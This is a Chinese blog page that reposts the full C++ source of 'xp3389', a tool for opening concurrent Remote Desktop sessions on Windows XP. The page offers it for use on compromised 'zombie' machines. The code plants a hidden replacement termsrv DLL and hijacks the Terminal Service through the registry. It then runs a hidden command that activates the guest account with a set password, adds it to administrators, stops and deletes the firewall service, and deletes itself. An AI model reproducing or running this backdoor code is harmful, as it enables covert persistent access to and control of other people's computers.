原创 xp下双开3389源码收藏

一步双开xp3389 一键双开XP3389,里面附带教程,一键式傻瓜操作,让小白有大神的操作! 立即下载
// xp3389.cpp : XP下双开3389的工具 Code By CoolDiyer

//

#pragma comment(linker, "/FILEALIGN:0x200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")

#include "stdafx.h"

#include "resource.h"

#include 

#include 

DWORD

GetProcessId(LPCTSTR szProcName)

{

PROCESSENTRY32 pe;

DWORD dwPid;

DWORD dwRet;

BOOL bFound = FALSE;



HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSP)

{

  pe.dwSize = sizeof( pe );



  for (dwRet = Process32First(hSP, &pe);

  dwRet;

  dwRet = Process32Next(hSP, &pe))

  {

   if (lstrcmpi( szProcName, pe.szExeFile) == 0)

   {

    dwPid = pe.th32ProcessID;

    bFound = TRUE;

    break;

   }

  }

  CloseHandle(hSP);



  if (bFound == TRUE)

  {

   return dwPid;

  }

}

return NULL;

}



bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)

{

if (!IsWindowVisible(hwnd))

  return true;



DWORD dwWindowThreadId = NULL;

DWORD  dwLsassId = (DWORD)lParam;

GetWindowThreadProcessId(hwnd, &dwWindowThreadId);

if (dwWindowThreadId == (DWORD)lParam)

{

  // 关闭指定进程的窗口

  SendMessage(hwnd, WM_CLOSE, 0, 0);

}

return true;

}

// 写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) from NameLess114

int WriteRegEx(HKEY MainKey, LPCTSTR SubKey, LPCTSTR Vname, DWORD Type, char* szData, DWORD dwData, int Mode)

{

HKEY  hKey;

DWORD dwDisposition;

int   iResult =0;



__try

{

  // SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);

  switch(Mode)

  {

  case 0:

   if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)

    __leave;

  case 1:

   if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)

    __leave;

   switch(Type)

   {

   case REG_SZ:

   case REG_EXPAND_SZ:

    if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)

     iResult =1;

    break;

   case REG_DWORD:

                if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)

     iResult =1;

    break;

   case REG_BINARY:

    break;

   }

   break;

   case 2:

    if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)

     __leave;

    if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)

     iResult =1;

    break;

   case 3:

    if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)

     __leave;

    if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)

     iResult =1;

    break;

  }

}

__finally

{

  RegCloseKey(MainKey);

  RegCloseKey(hKey);

}

return iResult;

}

bool DebugPrivilege(const char *PName, BOOL bEnable)

{

BOOL              bResult = TRUE;

HANDLE            hToken;

TOKEN_PRIVILEGES  TokenPrivileges;



if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))

{

  bResult = FALSE;

  return bResult;

}

TokenPrivileges.PrivilegeCount = 1;

TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;



LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);

AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);

    if (GetLastError() != ERROR_SUCCESS)

{

  bResult = FALSE;

}



CloseHandle(hToken);

return bResult;

}

bool UnloadRemoteModule(DWORD dwProcessID, HANDLE hModuleHandle)

{

HANDLE hRemoteThread;

HANDLE hProcess;



if (hModuleHandle == NULL)

  return false;

hProcess=::OpenProcess(PROCESS_VM_WRITE|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION, FALSE, dwProcessID);

if (hProcess == NULL)

  return false;



HMODULE hModule=::GetModuleHandle(”kernel32.dll”);

LPTHREAD_START_ROUTINE pfnStartRoutine = (LPTHREAD_START_ROUTINE)::GetProcAddress(hModule, “FreeLibrary”);

hRemoteThread=::CreateRemoteThread(hProcess, NULL, 0, pfnStartRoutine, hModuleHandle, 0, NULL);



if(hRemoteThread==NULL)

{

  ::CloseHandle(hProcess);

  return false;

}

::WaitForSingleObject(hRemoteThread,INFINITE);

::CloseHandle(hProcess);

::CloseHandle(hRemoteThread);

return true;

}

HANDLE FindModule(DWORD dwProcessID, LPCTSTR lpModulePath)

{

HANDLE hModuleHandle = NULL;

MODULEENTRY32 me32={0};

HANDLE hModuleSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID);

me32.dwSize=sizeof(MODULEENTRY32);

if(::Module32First(hModuleSnap, &me32))

{

  do

  {

   if (!lstrcmpi(me32.szExePath, lpModulePath))

   {

    hModuleHandle = me32.hModule;

    break;

   }

  }while(::Module32Next(hModuleSnap,&me32));

}

::CloseHandle(hModuleSnap);

return hModuleHandle;

}

bool UnloadModule(LPCTSTR lpModulePath)

{

BOOL bRet = false;

PROCESSENTRY32 pe32;

pe32.dwSize = sizeof(pe32);



HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);



//查找相关的进程

if(::Process32First(hProcessSnap, &pe32))

{

  do

  {

   HANDLE hModuleHandle = FindModule(pe32.th32ProcessID, lpModulePath);

   if (hModuleHandle != NULL)

   {

    bRet = UnloadRemoteModule(pe32.th32ProcessID, hModuleHandle);

   }

  }while (Process32Next(hProcessSnap,&pe32));

}

CloseHandle(hProcessSnap);

return bRet;

}

void StartService(LPCTSTR lpService)

{

SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );

if ( NULL != hSCManager )

{

  SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);

  if ( NULL != hService )

  {

   StartService(hService, 0, NULL);

   CloseServiceHandle( hService );

  }

  CloseServiceHandle( hSCManager );

}

}

BOOL ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)

{

HGLOBAL hRes;

HRSRC hResInfo;

HANDLE hFile;

DWORD dwBytes;



hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);

if (hResInfo == NULL)

  return FALSE;

hRes = LoadResource(NULL, hResInfo);

if (hRes == NULL)

  return FALSE;

hFile = CreateFile

  (

  lpFileName,

  GENERIC_WRITE,

  FILE_SHARE_WRITE,

  NULL,

  CREATE_ALWAYS,

  FILE_ATTRIBUTE_NORMAL,

  NULL

  );

if (hFile == NULL)

  return FALSE;

WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);

CloseHandle(hFile);



return TRUE;

}

void SetReg()

{

WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM//CurrentControlSet//Services//TermService”,”Start”,REG_DWORD,NULL,2,0);

WriteRegEx(HKEY_LOCAL_MACHINE, “SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon”, “KeepRASConnections”, REG_SZ, “1″, 0, 0);

WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM//CurrentControlSet//Control//Terminal Server”, “fDenyTSConnections”, REG_DWORD, NULL, 0, 0);

WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM//CurrentControlSet//Control//Terminal Server//Licensing Core”, “EnableConcurrentSessions”,

  REG_DWORD, NULL, 1, 0);

WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM//CurrentControlSet//Services//TermService//Parameters”, “ServiceDll”, REG_EXPAND_SZ,

  “%SystemRoot%//system32//termsrvhack.dll”, 0, 0);

}

void ReleaseDll()

{

char strSystemPath[MAX_PATH];

char strDllcachePath[MAX_PATH];

GetSystemDirectory(strSystemPath, sizeof(strSystemPath));

GetSystemDirectory(strDllcachePath, sizeof(strDllcachePath));

lstrcat(strSystemPath, “//termsrvhack.dll”);

lstrcat(strDllcachePath, “//dllcache//termsrvhack.dll”);

ReleaseResource(IDR_DLL, “BIN”, strSystemPath);

ReleaseResource(IDR_DLL, “BIN”, strDllcachePath);

SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);

SetFileAttributes(strDllcachePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);

}

bool IsOSXP()

{

OSVERSIONINFOEX OsVerInfoEx;

OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

GetVersionEx((OSVERSIONINFO *)&OsVerInfoEx); // 注意转换类型

return OsVerInfoEx.dwMajorVersion == 5 && OsVerInfoEx.dwMinorVersion == 1;

}

void HijackService()

{

char strDll[MAX_PATH];

GetSystemDirectory(strDll, sizeof(strDll));

lstrcat(strDll, “//termsrv.dll”);

// 释放termsrvhack.dll

ReleaseDll();



// 遍历进程卸载现在加载的DLL

DebugPrivilege(SE_DEBUG_NAME, TRUE);

if (!UnloadModule(strDll))

  return;

DebugPrivilege(SE_DEBUG_NAME, FALSE);



// 关闭要弹出的出错对话框和因DLL强制卸载使一些服务异常终止而弹出来的自动关机对话框

// 对进程赋予关闭权限

DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);

DWORD dwLsassId = GetProcessId(”csrss.exe”);

while (!AbortSystemShutdown(NULL))

{

  // 一些系统是会弹出drwtsn32.exe

  DWORD dwDrwtsn32Id = GetProcessId(”drwtsn32.exe”);

  if (dwDrwtsn32Id != NULL)

  {

   EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwDrwtsn32Id);

  }

  // 模块强制卸载时会出错,关闭csrss.exe进程弹出的出错窗口

  EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwLsassId);

  Sleep(10);

}

DebugPrivilege(SE_SHUTDOWN_NAME, FALSE);

}

int WINAPI WinMain(

       HINSTANCE hInstance,      // handle to current instance

       HINSTANCE hPrevInstance,  // handle to previous instance

       LPSTR lpCmdLine,          // command line

       int nCmdShow              // show state

       )

{

// 一些注册表的操作

SetReg();

if (IsOSXP())

{

  // 替换DLL

  HijackService();

}

// 开始终端服务

StartService(”TermService”);

// 激活guest,加管理员组,自删除,停止XP自带的防火墙,并删除它

char strCommand[1024];

char strSelf[MAX_PATH];

GetModuleFileName(NULL, strSelf, sizeof(strSelf));

wsprintf(strCommand, “cmd.exe /c net user guest /active:yes && net user guest cooldiyer && net localgroup administrators guest /add && net stop SharedAccess /y && del /”%s/” && sc delete SharedAccess”, strSelf);

WinExec(strCommand, SW_HIDE);

return 0;

}
下载地址:
xp3389_bin.rar (107.16 KB)
xp3389_src.rar (202.54 KB)
3389双开工具(附使用说明) 3389双开工具(附使用说明) 只要上传肉鸡运行就可以了 立即下载

相关推荐

远程双开3389工具超强 超简单

超级双开3389工具 超简单 菜鸟轻易上手使用~~~~~~~~~~~

xp下双开3389源码

// xp3389.cpp : XP下双开3389的工具 Code By CoolDiyer//#pragma comment(linker, "/FILEALIGN:0x200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")#include "stdafx.h"

1120

双开XP3389和内网开3389工具教程

新人学习XP攻防战必备资源!网管无需购买付费软件的必备工具!

Win7双开3389

首先更改termsrv.dll的文件所有者,然后将文件的可写权限设置成Everone或Administrator 再rename做一个备份,然后copy复制新的termsrv.dll   net stop termservice takeown /F C:\windows\system32\termsrv.dll /A echo y|cacls %systemroot%\system32

十年磨一剑,霜刃未曾试! 5489

XP系统双开3389工具-易语言

XP系统双开3389工具

XP系统双开3389工具.rar

XP系统双开3389工具.rar XP系统双开3389工具.rar XP系统双开3389工具.rar XP系统双开3389工具.rar XP系统双开3389工具.rar XP系统双开3389工具.rar

windows系统设置多用户登陆和修改3389端口

2021年的金三银四一眨眼就到了,对于很多人来说是跳槽的好机会,大厂面试远没有我们想的那么困难,摆好心态,做好准备,你也可以的。另外,面试中遇到不会的问题不妨尝试讲讲自己的思路,因为有些问题不是考察我们的编程能力,而是逻辑思维表达能力;最后平时要进行自我分析与评价,做好职业规划,不断摸索,提高自己的编程能力和抽象思维能力。BAT面试经验实战系列:Spring全家桶+Redis等其他相关的电子书:源码+调优面试真题:《一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码》

weixin_42179304的博客 3736

远程 双开3389 链接3389

远程 双开3389 链接3389远程 双开3389 链接3389远程 双开3389 链接3389

termsrv.dll XP SP3 / Win7 32/64位 支持多用户远程桌面连接 双开3389

XP SP3 termsrv.dll 5.1.2600.5512  1. 下载破解的termsrv.dll 版本:5.1.2600.5512  2. 复制到C:\Windows\system32文件夹覆盖同名文件  3. 运行MultipleTS.bat文件; 4. 运行Gpedit.msc打开组策略,终端服务,限制连接数量改到2以上  5. 确保启用快速用户切换和允

xx的专栏 6319

易语言XP系统双开3389工具

XP系统双开3389工具系统结构:双用户登录,打开终端,查看终端信息,重新启动计算机,关闭注册项,打开注册表项,写注册表项, ======程序集1 || ||------_启动子程序 || ||------双用户登录 || ||----

【强化学习】11 —— Double DQN算法与Dueling DQN算法

可以看到由于数据点的分布,使得拟合出的价值函数无法与真实的价值函数吻合,甚至在部分区域产生了明显的偏差。Dueling DQN 是 DQN 另一种的改进算法,它在传统 DQN 的基础上只进行了微小的改动,但却能大幅提升 DQN 的表现。这样,即使其中一套神经网络的某个动作存在比较严重的过高估计问题,由于另一套神经网络的存在,这个动作最终使用的值不会存在很大的过高估计问题。.在同一个状态下,所有动作的优势值之和为 0,因为所有动作的动作价值的期望就是这个状态的状态价值。环境的状态包括倒立摆角度的正弦值。

sinat_52032317的博客 1万+

啊D扫肉鸡+无远控双开XP3389 termsrvhack.dll_本地测试

好久不玩黑了,在网上看好多菜鸟在扫肉鸡,抱怨扫不到135 !现在都是自动扫描自动传马,到现在所学的东西都是自己Google加自己总结出来的,免杀做起来比较麻烦,学习中,从不DDOS别人,不充Q币不开会员,要那么多肉鸡也没什么用,×××也不是很感兴趣。得到肉鸡的方法很多,拿SHELL提权也可以得到很多,办公室上网,拿出啊D随便扫了下,三只服务器,N只XP。方法很简单:1、本机关...

weixin_34413103的博客 560

离线反激转换器反馈环路设计:从理论到实践的Type II补偿器详解

在开关电源设计中,反馈环路稳定性是决定电源性能与可靠性的核心。其本质是通过补偿网络对功率级的小信号特性进行校正,以构建一个具有足够相位裕度和增益裕度的闭环系统。反激转换器作为一种广泛应用的隔离拓扑,其功率级在连续导通模式(CCM)和非连续导通模式(DCM)下呈现不同的零极点特性,这直接决定了补偿器的选型。Type II补偿器因其传递函数中固有的积分环节、低频零点与高频极点,恰好能与反激功率级的1P2Z(一个极点、两个零点)特性形成互补,有效塑造理想的回路增益曲线,实现快速稳定的动态响应。本文聚焦于采用TL4

weixin_30162121的博客 504

双开不了3389有哪些原因?怎么解决

在计算机网络领域,端口3389通常与远程桌面协议(RDP)相关,允许用户通过Internet远程访问和操作计算机。然而,当遇到“双开不了3389”的问题时,这通常意味着远程桌面连接无法建立或存在问题。在处理网络安全问题时,请确保遵循最佳实践和安全准则,以防止潜在的安全风险。确保本地和远程计算机的防火墙允许3389端口的通信。例如,在Windows系统中,可以降低UAC设置或允许远程用户通过远程桌面连接。本地或远程计算机的防火墙可能阻止了3389端口的访问。这可能是由于安全设置或错误的规则配置导致的。

day3ZY的博客 1572

R语言pls包实战:手把手教你用偏最小二乘(PLS)搞定高维数据回归(附完整代码与数据标准化避坑指南)

本文详细介绍了如何使用R语言的pls包进行偏最小二乘(PLS)回归分析,特别针对高维数据回归问题。通过完整的代码示例和数据标准化避坑指南,帮助读者掌握从数据预处理到模型优化的全流程,解决实际应用中的常见问题。

weixin_42662605的博客 352

GDSFactory环境配置实战:Python、KLayout与PDK协同指南

GDSFactory是面向光子集成电路(PIC)设计的Python参数化建模框架,其核心价值在于将版图生成从手动绘图升维为可编程、可复现、可集成CI/CD的工程实践。它依赖Python科学计算生态(如NumPy)、EDA可视化工具KLayout的深度Python绑定,以及工艺厂PDK的标准化接入,三者构成‘计算-几何-工艺’技术闭环。典型应用场景包括教学级SiEPIC PDK快速原型、工业级AIM Photonics流片准备,以及自动化DRC与光学仿真流水线构建。本文聚焦GDSFactory落地中最关键也最

weixin_30983353的博客 369

原版XP合集,非BT下载

原版XP和集,非BT下载(都用迅雷下载) 因FTP下载比较稳定,一般不会出现BT丢种的问题,所以这里只发FTP下载连接.如果大家还有更好的,欢迎补充!联想xp pro SP2http://web.qtedu.net/wxez/software/lenovo_xp_pro.isoftp://pfm9538:abc9538@218.70.251.135/pfm9538/legend...

weixin_34321753的博客 3万+

ubuntu 24.04安装ros1 noetic

上面是参考链接给的修改内容。除了上面要修改的地方,我在编译的生活还有一个地方报错,修改成如下形式。因为我已经对文件rosconsole_log4cxx.cpp作了上面的修改,所有是不是188行不太确认了,如果报“log4cxx::spi::LocationInfo”问题,按照下面修改就可以了。我在编译时还报了一个问题,就是我之前安装的是jazzy。所以在编译时会报ros变量名不对,这时对变量名做修改就可以了。具体怎么修改,百度。a、将源文件中所有CMakelist中编译标准改为c++ 17.

yangpan011的博客 3209

XP下双开3389远程控制的源码

 // xp3389.cpp : XP下双开3389的工具 Code By CoolDiyer//#pragma comment(linker, "/FILEALIGN:0x200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")#include "stdafx.h"#incl

2913

手把手教你完成YOLOv10 PySide6目标检测界面搭建,使用Qt6设计YOLOv10检测系统,前台系统+后台管理系统开发实战,可用于大论文凑工作量或毕设必备,全网最详细教程

手把手教你完成YOLOv10 PySide6目标检测界面搭建,使用Qt6设计YOLOv10检测系统,前台系统+后台管理系统开发实战,可用于大论文凑工作量或毕设必备,全网最详细教程

在职AI算法工程师,擅长计算机视觉,YOLO目标检测、分割等,擅长web、pyqt界面可视化,好内容持续更新中,来这里跟大家一起学习,共同进步 1734

基于STM32开发板的USB MIDI键盘实现

在本文中,我们介绍了如何使用STM32开发板和相应的软件工具来实现USB MIDI键盘。通过配置STM32CubeMX和编写相应的源代码,我们能够将STM32开发板转换为一个功能齐全的USB MIDI设备。我们将使用STM32开发板和相应的软件工具来实现这一功能,并提供相应的源代码供参考。此时,您应该可以使用STM32开发板作为USB MIDI键盘,并在按键按下时听到相应的音符。在STM32CubeMX中,选择适当的STM32型号,并启动一个新的项目。然后,将生成的可执行文件烧录到STM32开发板中。

2301_79326616的博客 1591

XP下双开3389.

所需工具: 开3389工具包(3389.bat、termsrvhack.dll、xp3389.exe)以下是详细内容:一、确定要开刀肉鸡,先双开3389: 1、先看下是否能远程登陆,看来 没有开,无法登陆 2、把“3389工具包”内的termsrvhack.dll和xp3389.exe 上传到肉鸡C盘根目录下 3、运行远程命令提示符,输入tasklist /svc >>c

testalllife的专栏 4601

JavaFx 教程

JavaFx 教程

2012年开始工作,全栈开发老兵,目前已是一个老师,分享这么多年的心得体会 784
上一篇: My Root Kit Note
下一篇: 对抗启发式代码仿真检测技术分析收藏
大浪淘沙1
博客等级 码龄19年 42粉丝 38原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值